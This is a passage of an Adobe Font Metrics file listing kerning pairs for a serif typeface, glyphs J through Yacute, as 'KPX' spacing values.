KPX J Aring -30
KPX J Atilde -30
KPX J a -15
KPX J aacute -15
KPX J abreve -15
KPX J acircumflex -15
KPX J adieresis -15
KPX J agrave -15
KPX J amacron -15
KPX J aogonek -15
KPX J aring -15
KPX J atilde -15
KPX J e -15
KPX J eacute -15
KPX J ecaron -15
KPX J ecircumflex -15
KPX J edieresis -15
KPX J edotaccent -15
KPX J egrave -15
KPX J emacron -15
KPX J eogonek -15
KPX J o -15
KPX J oacute -15
KPX J ocircumflex -15
KPX J odieresis -15
KPX J ograve -15
KPX J ohungarumlaut -15
KPX J omacron -15
KPX J oslash -15
KPX J otilde -15
KPX J period -20
KPX J u -15
KPX J uacute -15
KPX J ucircumflex -15
KPX J udieresis -15
KPX J ugrave -15
KPX J uhungarumlaut -15
KPX J umacron -15
KPX J uogonek -15
KPX J uring -15
KPX K O -30
KPX K Oacute -30
KPX K Ocircumflex -30
KPX K Odieresis -30
KPX K Ograve -30
KPX K Ohungarumlaut -30
KPX K Omacron -30
KPX K Oslash -30
KPX K Otilde -30
KPX K e -25
KPX K eacute -25
KPX K ecaron -25
KPX K ecircumflex -25
KPX K edieresis -25
KPX K edotaccent -25
KPX K egrave -25
KPX K emacron -25
KPX K eogonek -25
KPX K o -25
KPX K oacute -25
KPX K ocircumflex -25
KPX K odieresis -25
KPX K ograve -25
KPX K ohungarumlaut -25
KPX K omacron -25
KPX K oslash -25
KPX K otilde -25
KPX K u -15
KPX K uacute -15
KPX K ucircumflex -15
KPX K udieresis -15
KPX K ugrave -15
KPX K uhungarumlaut -15
KPX K umacron -15
KPX K uogonek -15
KPX K uring -15
KPX K y -45
KPX K yacute -45
KPX K ydieresis -45
KPX Kcommaaccent O -30
KPX Kcommaaccent Oacute -30
KPX Kcommaaccent Ocircumflex -30
KPX Kcommaaccent Odieresis -30
KPX Kcommaaccent Ograve -30
KPX Kcommaaccent Ohungarumlaut -30
KPX Kcommaaccent Omacron -30
KPX Kcommaaccent Oslash -30
KPX Kcommaaccent Otilde -30
KPX Kcommaaccent e -25
KPX Kcommaaccent eacute -25
KPX Kcommaaccent ecaron -25
KPX Kcommaaccent ecircumflex -25
KPX Kcommaaccent edieresis -25
KPX Kcommaaccent edotaccent -25
KPX Kcommaaccent egrave -25
KPX Kcommaaccent emacron -25
KPX Kcommaaccent eogonek -25
KPX Kcommaaccent o -25
KPX Kcommaaccent oacute -25
KPX Kcommaaccent ocircumflex -25
KPX Kcommaaccent odieresis -25
KPX Kcommaaccent ograve -25
KPX Kcommaaccent ohungarumlaut -25
KPX Kcommaaccent omacron -25
KPX Kcommaaccent oslash -25
KPX Kcommaaccent otilde -25
KPX Kcommaaccent u -15
KPX Kcommaaccent uacute -15
KPX Kcommaaccent ucircumflex -15
KPX Kcommaaccent udieresis -15
KPX Kcommaaccent ugrave -15
KPX Kcommaaccent uhungarumlaut -15
KPX Kcommaaccent umacron -15
KPX Kcommaaccent uogonek -15
KPX Kcommaaccent uring -15
KPX Kcommaaccent y -45
KPX Kcommaaccent yacute -45
KPX Kcommaaccent ydieresis -45
KPX L T -92
KPX L Tcaron -92
KPX L Tcommaaccent -92
KPX L V -92
KPX L W -92
KPX L Y -92
KPX L Yacute -92
KPX L Ydieresis -92
KPX L quotedblright -20
KPX L quoteright -110
KPX L y -55
KPX L yacute -55
KPX L ydieresis -55
KPX Lacute T -92
KPX Lacute Tcaron -92
KPX Lacute Tcommaaccent -92
KPX Lacute V -92
KPX Lacute W -92
KPX Lacute Y -92
KPX Lacute Yacute -92
KPX Lacute Ydieresis -92
KPX Lacute quotedblright -20
KPX Lacute quoteright -110
KPX Lacute y -55
KPX Lacute yacute -55
KPX Lacute ydieresis -55
KPX Lcommaaccent T -92
KPX Lcommaaccent Tcaron -92
KPX Lcommaaccent Tcommaaccent -92
KPX Lcommaaccent V -92
KPX Lcommaaccent W -92
KPX Lcommaaccent Y -92
KPX Lcommaaccent Yacute -92
KPX Lcommaaccent Ydieresis -92
KPX Lcommaaccent quotedblright -20
KPX Lcommaaccent quoteright -110
KPX Lcommaaccent y -55
KPX Lcommaaccent yacute -55
KPX Lcommaaccent ydieresis -55
KPX Lslash T -92
KPX Lslash Tcaron -92
KPX Lslash Tcommaaccent -92
KPX Lslash V -92
KPX Lslash W -92
KPX Lslash Y -92
KPX Lslash Yacute -92
KPX Lslash Ydieresis -92
KPX Lslash quotedblright -20
KPX Lslash quoteright -110
KPX Lslash y -55
KPX Lslash yacute -55
KPX Lslash ydieresis -55
KPX N A -20
KPX N Aacute -20
KPX N Abreve -20
KPX N Acircumflex -20
KPX N Adieresis -20
KPX N Agrave -20
KPX N Amacron -20
KPX N Aogonek -20
KPX N Aring -20
KPX N Atilde -20
KPX Nacute A -20
KPX Nacute Aacute -20
KPX Nacute Abreve -20
KPX Nacute Acircumflex -20
KPX Nacute Adieresis -20
KPX Nacute Agrave -20
KPX Nacute Amacron -20
KPX Nacute Aogonek -20
KPX Nacute Aring -20
KPX Nacute Atilde -20
KPX Ncaron A -20
KPX Ncaron Aacute -20
KPX Ncaron Abreve -20
KPX Ncaron Acircumflex -20
KPX Ncaron Adieresis -20
KPX Ncaron Agrave -20
KPX Ncaron Amacron -20
KPX Ncaron Aogonek -20
KPX Ncaron Aring -20
KPX Ncaron Atilde -20
KPX Ncommaaccent A -20
KPX Ncommaaccent Aacute -20
KPX Ncommaaccent Abreve -20
KPX Ncommaaccent Acircumflex -20
KPX Ncommaaccent Adieresis -20
KPX Ncommaaccent Agrave -20
KPX Ncommaaccent Amacron -20
KPX Ncommaaccent Aogonek -20
KPX Ncommaaccent Aring -20
KPX Ncommaaccent Atilde -20
KPX Ntilde A -20
KPX Ntilde Aacute -20
KPX Ntilde Abreve -20
KPX Ntilde Acircumflex -20
KPX Ntilde Adieresis -20
KPX Ntilde Agrave -20
KPX Ntilde Amacron -20
KPX Ntilde Aogonek -20
KPX Ntilde Aring -20
KPX Ntilde Atilde -20
KPX O A -40
KPX O Aacute -40
KPX O Abreve -40
KPX O Acircumflex -40
KPX O Adieresis -40
KPX O Agrave -40
KPX O Amacron -40
KPX O Aogonek -40
KPX O Aring -40
KPX O Atilde -40
KPX O T -40
KPX O Tcaron -40
KPX O Tcommaaccent -40
KPX O V -50
KPX O W -50
KPX O X -40
KPX O Y -50
KPX O Yacute -50
KPX O Ydieresis -50
KPX Oacute A -40
KPX Oacute Aacute -40
KPX Oacute Abreve -40
KPX Oacute Acircumflex -40
KPX Oacute Adieresis -40
KPX Oacute Agrave -40
KPX Oacute Amacron -40
KPX Oacute Aogonek -40
KPX Oacute Aring -40
KPX Oacute Atilde -40
KPX Oacute T -40
KPX Oacute Tcaron -40
KPX Oacute Tcommaaccent -40
KPX Oacute V -50
KPX Oacute W -50
KPX Oacute X -40
KPX Oacute Y -50
KPX Oacute Yacute -50
KPX Oacute Ydieresis -50
KPX Ocircumflex A -40
KPX Ocircumflex Aacute -40
KPX Ocircumflex Abreve -40
KPX Ocircumflex Acircumflex -40
KPX Ocircumflex Adieresis -40
KPX Ocircumflex Agrave -40
KPX Ocircumflex Amacron -40
KPX Ocircumflex Aogonek -40
KPX Ocircumflex Aring -40
KPX Ocircumflex Atilde -40
KPX Ocircumflex T -40
KPX Ocircumflex Tcaron -40
KPX Ocircumflex Tcommaaccent -40
KPX Ocircumflex V -50
KPX Ocircumflex W -50
KPX Ocircumflex X -40
KPX Ocircumflex Y -50
KPX Ocircumflex Yacute -50
KPX Ocircumflex Ydieresis -50
KPX Odieresis A -40
KPX Odieresis Aacute -40
KPX Odieresis Abreve -40
KPX Odieresis Acircumflex -40
KPX Odieresis Adieresis -40
KPX Odieresis Agrave -40
KPX Odieresis Amacron -40
KPX Odieresis Aogonek -40
KPX Odieresis Aring -40
KPX Odieresis Atilde -40
KPX Odieresis T -40
KPX Odieresis Tcaron -40
KPX Odieresis Tcommaaccent -40
KPX Odieresis V -50
KPX Odieresis W -50
KPX Odieresis X -40
KPX Odieresis Y -50
KPX Odieresis Yacute -50
KPX Odieresis Ydieresis -50
KPX Ograve A -40
KPX Ograve Aacute -40
KPX Ograve Abreve -40
KPX Ograve Acircumflex -40
KPX Ograve Adieresis -40
KPX Ograve Agrave -40
KPX Ograve Amacron -40
KPX Ograve Aogonek -40
KPX Ograve Aring -40
KPX Ograve Atilde -40
KPX Ograve T -40
KPX Ograve Tcaron -40
KPX Ograve Tcommaaccent -40
KPX Ograve V -50
KPX Ograve W -50
KPX Ograve X -40
KPX Ograve Y -50
KPX Ograve Yacute -50
KPX Ograve Ydieresis -50
KPX Ohungarumlaut A -40
KPX Ohungarumlaut Aacute -40
KPX Ohungarumlaut Abreve -40
KPX Ohungarumlaut Acircumflex -40
KPX Ohungarumlaut Adieresis -40
KPX Ohungarumlaut Agrave -40
KPX Ohungarumlaut Amacron -40
KPX Ohungarumlaut Aogonek -40
KPX Ohungarumlaut Aring -40
KPX Ohungarumlaut Atilde -40
KPX Ohungarumlaut T -40
KPX Ohungarumlaut Tcaron -40
KPX Ohungarumlaut Tcommaaccent -40
KPX Ohungarumlaut V -50
KPX Ohungarumlaut W -50
KPX Ohungarumlaut X -40
KPX Ohungarumlaut Y -50
KPX Ohungarumlaut Yacute -50
KPX Ohungarumlaut Ydieresis -50
KPX Omacron A -40
KPX Omacron Aacute -40
KPX Omacron Abreve -40
KPX Omacron Acircumflex -40
KPX Omacron Adieresis -40
KPX Omacron Agrave -40
KPX Omacron Amacron -40
KPX Omacron Aogonek -40
KPX Omacron Aring -40
KPX Omacron Atilde -40
KPX Omacron T -40
KPX Omacron Tcaron -40
KPX Omacron Tcommaaccent -40
KPX Omacron V -50
KPX Omacron W -50
KPX Omacron X -40
KPX Omacron Y -50
KPX Omacron Yacute -50
KPX Omacron Ydieresis -50
KPX Oslash A -40
KPX Oslash Aacute -40
KPX Oslash Abreve -40
KPX Oslash Acircumflex -40
KPX Oslash Adieresis -40
KPX Oslash Agrave -40
KPX Oslash Amacron -40
KPX Oslash Aogonek -40
KPX Oslash Aring -40
KPX Oslash Atilde -40
KPX Oslash T -40
KPX Oslash Tcaron -40
KPX Oslash Tcommaaccent -40
KPX Oslash V -50
KPX Oslash W -50
KPX Oslash X -40
KPX Oslash Y -50
KPX Oslash Yacute -50
KPX Oslash Ydieresis -50
KPX Otilde A -40
KPX Otilde Aacute -40
KPX Otilde Abreve -40
KPX Otilde Acircumflex -40
KPX Otilde Adieresis -40
KPX Otilde Agrave -40
KPX Otilde Amacron -40
KPX Otilde Aogonek -40
KPX Otilde Aring -40
KPX Otilde Atilde -40
KPX Otilde T -40
KPX Otilde Tcaron -40
KPX Otilde Tcommaaccent -40
KPX Otilde V -50
KPX Otilde W -50
KPX Otilde X -40
KPX Otilde Y -50
KPX Otilde Yacute -50
KPX Otilde Ydieresis -50
KPX P A -74
KPX P Aacute -74
KPX P Abreve -74
KPX P Acircumflex -74
KPX P Adieresis -74
KPX P Agrave -74
KPX P Amacron -74
KPX P Aogonek -74
KPX P Aring -74
KPX P Atilde -74
KPX P a -10
KPX P aacute -10
KPX P abreve -10
KPX P acircumflex -10
KPX P adieresis -10
KPX P agrave -10
KPX P amacron -10
KPX P aogonek -10
KPX P aring -10
KPX P atilde -10
KPX P comma -92
KPX P e -20
KPX P eacute -20
KPX P ecaron -20
KPX P ecircumflex -20
KPX P edieresis -20
KPX P edotaccent -20
KPX P egrave -20
KPX P emacron -20
KPX P eogonek -20
KPX P o -20
KPX P oacute -20
KPX P ocircumflex -20
KPX P odieresis -20
KPX P ograve -20
KPX P ohungarumlaut -20
KPX P omacron -20
KPX P oslash -20
KPX P otilde -20
KPX P period -110
KPX Q U -10
KPX Q Uacute -10
KPX Q Ucircumflex -10
KPX Q Udieresis -10
KPX Q Ugrave -10
KPX Q Uhungarumlaut -10
KPX Q Umacron -10
KPX Q Uogonek -10
KPX Q Uring -10
KPX Q period -20
KPX R O -30
KPX R Oacute -30
KPX R Ocircumflex -30
KPX R Odieresis -30
KPX R Ograve -30
KPX R Ohungarumlaut -30
KPX R Omacron -30
KPX R Oslash -30
KPX R Otilde -30
KPX R T -40
KPX R Tcaron -40
KPX R Tcommaaccent -40
KPX R U -30
KPX R Uacute -30
KPX R Ucircumflex -30
KPX R Udieresis -30
KPX R Ugrave -30
KPX R Uhungarumlaut -30
KPX R Umacron -30
KPX R Uogonek -30
KPX R Uring -30
KPX R V -55
KPX R W -35
KPX R Y -35
KPX R Yacute -35
KPX R Ydieresis -35
KPX Racute O -30
KPX Racute Oacute -30
KPX Racute Ocircumflex -30
KPX Racute Odieresis -30
KPX Racute Ograve -30
KPX Racute Ohungarumlaut -30
KPX Racute Omacron -30
KPX Racute Oslash -30
KPX Racute Otilde -30
KPX Racute T -40
KPX Racute Tcaron -40
KPX Racute Tcommaaccent -40
KPX Racute U -30
KPX Racute Uacute -30
KPX Racute Ucircumflex -30
KPX Racute Udieresis -30
KPX Racute Ugrave -30
KPX Racute Uhungarumlaut -30
KPX Racute Umacron -30
KPX Racute Uogonek -30
KPX Racute Uring -30
KPX Racute V -55
KPX Racute W -35
KPX Racute Y -35
KPX Racute Yacute -35
KPX Racute Ydieresis -35
KPX Rcaron O -30
KPX Rcaron Oacute -30
KPX Rcaron Ocircumflex -30
KPX Rcaron Odieresis -30
KPX Rcaron Ograve -30
KPX Rcaron Ohungarumlaut -30
KPX Rcaron Omacron -30
KPX Rcaron Oslash -30
KPX Rcaron Otilde -30
KPX Rcaron T -40
KPX Rcaron Tcaron -40
KPX Rcaron Tcommaaccent -40
KPX Rcaron U -30
KPX Rcaron Uacute -30
KPX Rcaron Ucircumflex -30
KPX Rcaron Udieresis -30
KPX Rcaron Ugrave -30
KPX Rcaron Uhungarumlaut -30
KPX Rcaron Umacron -30
KPX Rcaron Uogonek -30
KPX Rcaron Uring -30
KPX Rcaron V -55
KPX Rcaron W -35
KPX Rcaron Y -35
KPX Rcaron Yacute -35
KPX Rcaron Ydieresis -35
KPX Rcommaaccent O -30
KPX Rcommaaccent Oacute -30
KPX Rcommaaccent Ocircumflex -30
KPX Rcommaaccent Odieresis -30
KPX Rcommaaccent Ograve -30
KPX Rcommaaccent Ohungarumlaut -30
KPX Rcommaaccent Omacron -30
KPX Rcommaaccent Oslash -30
KPX Rcommaaccent Otilde -30
KPX Rcommaaccent T -40
KPX Rcommaaccent Tcaron -40
KPX Rcommaaccent Tcommaaccent -40
KPX Rcommaaccent U -30
KPX Rcommaaccent Uacute -30
KPX Rcommaaccent Ucircumflex -30
KPX Rcommaaccent Udieresis -30
KPX Rcommaaccent Ugrave -30
KPX Rcommaaccent Uhungarumlaut -30
KPX Rcommaaccent Umacron -30
KPX Rcommaaccent Uogonek -30
KPX Rcommaaccent Uring -30
KPX Rcommaaccent V -55
KPX Rcommaaccent W -35
KPX Rcommaaccent Y -35
KPX Rcommaaccent Yacute -35
KPX Rcommaaccent Ydieresis -35
KPX T A -90
KPX T Aacute -90
KPX T Abreve -90
KPX T Acircumflex -90
KPX T Adieresis -90
KPX T Agrave -90
KPX T Amacron -90
KPX T Aogonek -90
KPX T Aring -90
KPX T Atilde -90
KPX T O -18
KPX T Oacute -18
KPX T Ocircumflex -18
KPX T Odieresis -18
KPX T Ograve -18
KPX T Ohungarumlaut -18
KPX T Omacron -18
KPX T Oslash -18
KPX T Otilde -18
KPX T a -92
KPX T aacute -92
KPX T abreve -52
KPX T acircumflex -52
KPX T adieresis -52
KPX T agrave -52
KPX T amacron -52
KPX T aogonek -92
KPX T aring -92
KPX T atilde -52
KPX T colon -74
KPX T comma -74
KPX T e -92
KPX T eacute -92
KPX T ecaron -92
KPX T ecircumflex -92
KPX T edieresis -52
KPX T edotaccent -92
KPX T egrave -52
KPX T emacron -52
KPX T eogonek -92
KPX T hyphen -92
KPX T i -18
KPX T iacute -18
KPX T iogonek -18
KPX T o -92
KPX T oacute -92
KPX T ocircumflex -92
KPX T odieresis -92
KPX T ograve -92
KPX T ohungarumlaut -92
KPX T omacron -92
KPX T oslash -92
KPX T otilde -92
KPX T period -90
KPX T r -74
KPX T racute -74
KPX T rcaron -74
KPX T rcommaaccent -74
KPX T semicolon -74
KPX T u -92
KPX T uacute -92
KPX T ucircumflex -92
KPX T udieresis -92
KPX T ugrave -92
KPX T uhungarumlaut -92
KPX T umacron -92
KPX T uogonek -92
KPX T uring -92
KPX T w -74
KPX T y -34
KPX T yacute -34
KPX T ydieresis -34
KPX Tcaron A -90
KPX Tcaron Aacute -90
KPX Tcaron Abreve -90
KPX Tcaron Acircumflex -90
KPX Tcaron Adieresis -90
KPX Tcaron Agrave -90
KPX Tcaron Amacron -90
KPX Tcaron Aogonek -90
KPX Tcaron Aring -90
KPX Tcaron Atilde -90
KPX Tcaron O -18
KPX Tcaron Oacute -18
KPX Tcaron Ocircumflex -18
KPX Tcaron Odieresis -18
KPX Tcaron Ograve -18
KPX Tcaron Ohungarumlaut -18
KPX Tcaron Omacron -18
KPX Tcaron Oslash -18
KPX Tcaron Otilde -18
KPX Tcaron a -92
KPX Tcaron aacute -92
KPX Tcaron abreve -52
KPX Tcaron acircumflex -52
KPX Tcaron adieresis -52
KPX Tcaron agrave -52
KPX Tcaron amacron -52
KPX Tcaron aogonek -92
KPX Tcaron aring -92
KPX Tcaron atilde -52
KPX Tcaron colon -74
KPX Tcaron comma -74
KPX Tcaron e -92
KPX Tcaron eacute -92
KPX Tcaron ecaron -92
KPX Tcaron ecircumflex -92
KPX Tcaron edieresis -52
KPX Tcaron edotaccent -92
KPX Tcaron egrave -52
KPX Tcaron emacron -52
KPX Tcaron eogonek -92
KPX Tcaron hyphen -92
KPX Tcaron i -18
KPX Tcaron iacute -18
KPX Tcaron iogonek -18
KPX Tcaron o -92
KPX Tcaron oacute -92
KPX Tcaron ocircumflex -92
KPX Tcaron odieresis -92
KPX Tcaron ograve -92
KPX Tcaron ohungarumlaut -92
KPX Tcaron omacron -92
KPX Tcaron oslash -92
KPX Tcaron otilde -92
KPX Tcaron period -90
KPX Tcaron r -74
KPX Tcaron racute -74
KPX Tcaron rcaron -74
KPX Tcaron rcommaaccent -74
KPX Tcaron semicolon -74
KPX Tcaron u -92
KPX Tcaron uacute -92
KPX Tcaron ucircumflex -92
KPX Tcaron udieresis -92
KPX Tcaron ugrave -92
KPX Tcaron uhungarumlaut -92
KPX Tcaron umacron -92
KPX Tcaron uogonek -92
KPX Tcaron uring -92
KPX Tcaron w -74
KPX Tcaron y -34
KPX Tcaron yacute -34
KPX Tcaron ydieresis -34
KPX Tcommaaccent A -90
KPX Tcommaaccent Aacute -90
KPX Tcommaaccent Abreve -90
KPX Tcommaaccent Acircumflex -90
KPX Tcommaaccent Adieresis -90
KPX Tcommaaccent Agrave -90
KPX Tcommaaccent Amacron -90
KPX Tcommaaccent Aogonek -90
KPX Tcommaaccent Aring -90
KPX Tcommaaccent Atilde -90
KPX Tcommaaccent O -18
KPX Tcommaaccent Oacute -18
KPX Tcommaaccent Ocircumflex -18
KPX Tcommaaccent Odieresis -18
KPX Tcommaaccent Ograve -18
KPX Tcommaaccent Ohungarumlaut -18
KPX Tcommaaccent Omacron -18
KPX Tcommaaccent Oslash -18
KPX Tcommaaccent Otilde -18
KPX Tcommaaccent a -92
KPX Tcommaaccent aacute -92
KPX Tcommaaccent abreve -52
KPX Tcommaaccent acircumflex -52
KPX Tcommaaccent adieresis -52
KPX Tcommaaccent agrave -52
KPX Tcommaaccent amacron -52
KPX Tcommaaccent aogonek -92
KPX Tcommaaccent aring -92
KPX Tcommaaccent atilde -52
KPX Tcommaaccent colon -74
KPX Tcommaaccent comma -74
KPX Tcommaaccent e -92
KPX Tcommaaccent eacute -92
KPX Tcommaaccent ecaron -92
KPX Tcommaaccent ecircumflex -92
KPX Tcommaaccent edieresis -52
KPX Tcommaaccent edotaccent -92
KPX Tcommaaccent egrave -52
KPX Tcommaaccent emacron -52
KPX Tcommaaccent eogonek -92
KPX Tcommaaccent hyphen -92
KPX Tcommaaccent i -18
KPX Tcommaaccent iacute -18
KPX Tcommaaccent iogonek -18
KPX Tcommaaccent o -92
KPX Tcommaaccent oacute -92
KPX Tcommaaccent ocircumflex -92
KPX Tcommaaccent odieresis -92
KPX Tcommaaccent ograve -92
KPX Tcommaaccent ohungarumlaut -92
KPX Tcommaaccent omacron -92
KPX Tcommaaccent oslash -92
KPX Tcommaaccent otilde -92
KPX Tcommaaccent period -90
KPX Tcommaaccent r -74
KPX Tcommaaccent racute -74
KPX Tcommaaccent rcaron -74
KPX Tcommaaccent rcommaaccent -74
KPX Tcommaaccent semicolon -74
KPX Tcommaaccent u -92
KPX Tcommaaccent uacute -92
KPX Tcommaaccent ucircumflex -92
KPX Tcommaaccent udieresis -92
KPX Tcommaaccent ugrave -92
KPX Tcommaaccent uhungarumlaut -92
KPX Tcommaaccent umacron -92
KPX Tcommaaccent uogonek -92
KPX Tcommaaccent uring -92
KPX Tcommaaccent w -74
KPX Tcommaaccent y -34
KPX Tcommaaccent yacute -34
KPX Tcommaaccent ydieresis -34
KPX U A -60
KPX U Aacute -60
KPX U Abreve -60
KPX U Acircumflex -60
KPX U Adieresis -60
KPX U Agrave -60
KPX U Amacron -60
KPX U Aogonek -60
KPX U Aring -60
KPX U Atilde -60
KPX U comma -50
KPX U period -50
KPX Uacute A -60
KPX Uacute Aacute -60
KPX Uacute Abreve -60
KPX Uacute Acircumflex -60
KPX Uacute Adieresis -60
KPX Uacute Agrave -60
KPX Uacute Amacron -60
KPX Uacute Aogonek -60
KPX Uacute Aring -60
KPX Uacute Atilde -60
KPX Uacute comma -50
KPX Uacute period -50
KPX Ucircumflex A -60
KPX Ucircumflex Aacute -60
KPX Ucircumflex Abreve -60
KPX Ucircumflex Acircumflex -60
KPX Ucircumflex Adieresis -60
KPX Ucircumflex Agrave -60
KPX Ucircumflex Amacron -60
KPX Ucircumflex Aogonek -60
KPX Ucircumflex Aring -60
KPX Ucircumflex Atilde -60
KPX Ucircumflex comma -50
KPX Ucircumflex period -50
KPX Udieresis A -60
KPX Udieresis Aacute -60
KPX Udieresis Abreve -60
KPX Udieresis Acircumflex -60
KPX Udieresis Adieresis -60
KPX Udieresis Agrave -60
KPX Udieresis Amacron -60
KPX Udieresis Aogonek -60
KPX Udieresis Aring -60
KPX Udieresis Atilde -60
KPX Udieresis comma -50
KPX Udieresis period -50
KPX Ugrave A -60
KPX Ugrave Aacute -60
KPX Ugrave Abreve -60
KPX Ugrave Acircumflex -60
KPX Ugrave Adieresis -60
KPX Ugrave Agrave -60
KPX Ugrave Amacron -60
KPX Ugrave Aogonek -60
KPX Ugrave Aring -60
KPX Ugrave Atilde -60
KPX Ugrave comma -50
KPX Ugrave period -50
KPX Uhungarumlaut A -60
KPX Uhungarumlaut Aacute -60
KPX Uhungarumlaut Abreve -60
KPX Uhungarumlaut Acircumflex -60
KPX Uhungarumlaut Adieresis -60
KPX Uhungarumlaut Agrave -60
KPX Uhungarumlaut Amacron -60
KPX Uhungarumlaut Aogonek -60
KPX Uhungarumlaut Aring -60
KPX Uhungarumlaut Atilde -60
KPX Uhungarumlaut comma -50
KPX Uhungarumlaut period -50
KPX Umacron A -60
KPX Umacron Aacute -60
KPX Umacron Abreve -60
KPX Umacron Acircumflex -60
KPX Umacron Adieresis -60
KPX Umacron Agrave -60
KPX Umacron Amacron -60
KPX Umacron Aogonek -60
KPX Umacron Aring -60
KPX Umacron Atilde -60
KPX Umacron comma -50
KPX Umacron period -50
KPX Uogonek A -60
KPX Uogonek Aacute -60
KPX Uogonek Abreve -60
KPX Uogonek Acircumflex -60
KPX Uogonek Adieresis -60
KPX Uogonek Agrave -60
KPX Uogonek Amacron -60
KPX Uogonek Aogonek -60
KPX Uogonek Aring -60
KPX Uogonek Atilde -60
KPX Uogonek comma -50
KPX Uogonek period -50
KPX Uring A -60
KPX Uring Aacute -60
KPX Uring Abreve -60
KPX Uring Acircumflex -60
KPX Uring Adieresis -60
KPX Uring Agrave -60
KPX Uring Amacron -60
KPX Uring Aogonek -60
KPX Uring Aring -60
KPX Uring Atilde -60
KPX Uring comma -50
KPX Uring period -50
KPX V A -135
KPX V Aacute -135
KPX V Abreve -135
KPX V Acircumflex -135
KPX V Adieresis -135
KPX V Agrave -135
KPX V Amacron -135
KPX V Aogonek -135
KPX V Aring -135
KPX V Atilde -135
KPX V G -30
KPX V Gbreve -30
KPX V Gcommaaccent -30
KPX V O -45
KPX V Oacute -45
KPX V Ocircumflex -45
KPX V Odieresis -45
KPX V Ograve -45
KPX V Ohungarumlaut -45
KPX V Omacron -45
KPX V Oslash -45
KPX V Otilde -45
KPX V a -92
KPX V aacute -92
KPX V abreve -92
KPX V acircumflex -92
KPX V adieresis -92
KPX V agrave -92
KPX V amacron -92
KPX V aogonek -92
KPX V aring -92
KPX V atilde -92
KPX V colon -92
KPX V comma -129
KPX V e -100
KPX V eacute -100
KPX V ecaron -100
KPX V ecircumflex -100
KPX V edieresis -100
KPX V edotaccent -100
KPX V egrave -100
KPX V emacron -100
KPX V eogonek -100
KPX V hyphen -74
KPX V i -37
KPX V iacute -37
KPX V icircumflex -37
KPX V idieresis -37
KPX V igrave -37
KPX V imacron -37
KPX V iogonek -37
KPX V o -100
KPX V oacute -100
KPX V ocircumflex -100
KPX V odieresis -100
KPX V ograve -100
KPX V ohungarumlaut -100
KPX V omacron -100
KPX V oslash -100
KPX V otilde -100
KPX V period -145
KPX V semicolon -92
KPX V u -92
KPX V uacute -92
KPX V ucircumflex -92
KPX V udieresis -92
KPX V ugrave -92
KPX V uhungarumlaut -92
KPX V umacron -92
KPX V uogonek -92
KPX V uring -92
KPX W A -120
KPX W Aacute -120
KPX W Abreve -120
KPX W Acircumflex -120
KPX W Adieresis -120
KPX W Agrave -120
KPX W Amacron -120
KPX W Aogonek -120
KPX W Aring -120
KPX W Atilde -120
KPX W O -10
KPX W Oacute -10
KPX W Ocircumflex -10
KPX W Odieresis -10
KPX W Ograve -10
KPX W Ohungarumlaut -10
KPX W Omacron -10
KPX W Oslash -10
KPX W Otilde -10
KPX W a -65
KPX W aacute -65
KPX W abreve -65
KPX W acircumflex -65
KPX W adieresis -65
KPX W agrave -65
KPX W amacron -65
KPX W aogonek -65
KPX W aring -65
KPX W atilde -65
KPX W colon -55
KPX W comma -92
KPX W e -65
KPX W eacute -65
KPX W ecaron -65
KPX W ecircumflex -65
KPX W edieresis -65
KPX W edotaccent -65
KPX W egrave -65
KPX W emacron -65
KPX W eogonek -65
KPX W hyphen -37
KPX W i -18
KPX W iacute -18
KPX W iogonek -18
KPX W o -75
KPX W oacute -75
KPX W ocircumflex -75
KPX W odieresis -75
KPX W ograve -75
KPX W ohungarumlaut -75
KPX W omacron -75
KPX W oslash -75
KPX W otilde -75
KPX W period -92
KPX W semicolon -55
KPX W u -50
KPX W uacute -50
KPX W ucircumflex -50
KPX W udieresis -50
KPX W ugrave -50
KPX W uhungarumlaut -50
KPX W umacron -50
KPX W uogonek -50
KPX W uring -50
KPX W y -60
KPX W yacute -60
KPX W ydieresis -60
KPX Y A -110
KPX Y Aacute -110
KPX Y Abreve -110
KPX Y Acircumflex -110
KPX Y Adieresis -110
KPX Y Agrave -110
KPX Y Amacron -110
KPX Y Aogonek -110
KPX Y Aring -110
KPX Y Atilde -110
KPX Y O -35
KPX Y Oacute -35
KPX Y Ocircumflex -35
KPX Y Odieresis -35
KPX Y Ograve -35
KPX Y Ohungarumlaut -35
KPX Y Omacron -35
KPX Y Oslash -35
KPX Y Otilde -35
KPX Y a -85
KPX Y aacute -85
KPX Y abreve -85
KPX Y acircumflex -85
KPX Y adieresis -85
KPX Y agrave -85
KPX Y amacron -85
KPX Y aogonek -85
KPX Y aring -85
KPX Y atilde -85
KPX Y colon -92
KPX Y comma -92
KPX Y e -111
KPX Y eacute -111
KPX Y ecaron -111
KPX Y ecircumflex -111
KPX Y edieresis -71
KPX Y edotaccent -111
KPX Y egrave -71
KPX Y emacron -71
KPX Y eogonek -111
KPX Y hyphen -92
KPX Y i -37
KPX Y iacute -37
KPX Y iogonek -37
KPX Y o -111
KPX Y oacute -111
KPX Y ocircumflex -111
KPX Y odieresis -111
KPX Y ograve -111
KPX Y ohungarumlaut -111
KPX Y omacron -111
KPX Y oslash -111
KPX Y otilde -111
KPX Y period -92
KPX Y semicolon -92
KPX Y u -92
KPX Y uacute -92
KPX Y ucircumflex -92
KPX Y udieresis -92
KPX Y ugrave -92
KPX Y uhungarumlaut -92
KPX Y umacron -92
KPX Y uogonek -92
KPX Y uring -92
KPX Yacute A -110
KPX Yacute Aacute -110
KPX Yacute Abreve -110
KPX Yacute Acircumflex -110
KPX Yacute Adieresis -110
KPX Yacute Agrave -110
KPX Yacute Amacron -110
KPX Yacute Aogonek -110
KPX Yacute Aring -110
KPX Yacute Atilde -110
KPX Yacute O -35
KPX Yacute Oacute -35
KPX Yacute Ocircumflex -35
KPX Yacute Odieresis -35
KPX Yacute Ograve -35
KPX Yacute Ohungarumlaut -35
KPX Yacute Omacron -35
KPX Yacute Oslash -35
KPX Yacute Otilde -35
KPX Yacute a -85
KPX Yacute aacute -85
KPX Yacute abreve -85
KPX Yacute acircumflex -85
KPX Yacute adieresis -85
KPX Yacute agrave -85
KPX Yacute amacron -85
KPX Yacute aogonek -85
KPX Yacute aring -85
KPX Yacute atilde -85
KPX Yacute colon -92
KPX Yacute comma -92
KPX Yacute e -111
KPX Yacute eacute -111
KPX Yacute ecaron -111
KPX Yacute ecircumflex -111
KPX Yacute edieresis -71
KPX Yacute edotaccent -111
KPX Yacute egrave -71
KPX Yacute emacron -71
KPX Yacute eogonek -111
KPX Yacute hyphen -92
KPX Yacute i -37
KPX Yacute iacute -37
KPX Yacute iogonek -37
KPX Yacute o -111
KPX Yacute oacute -111
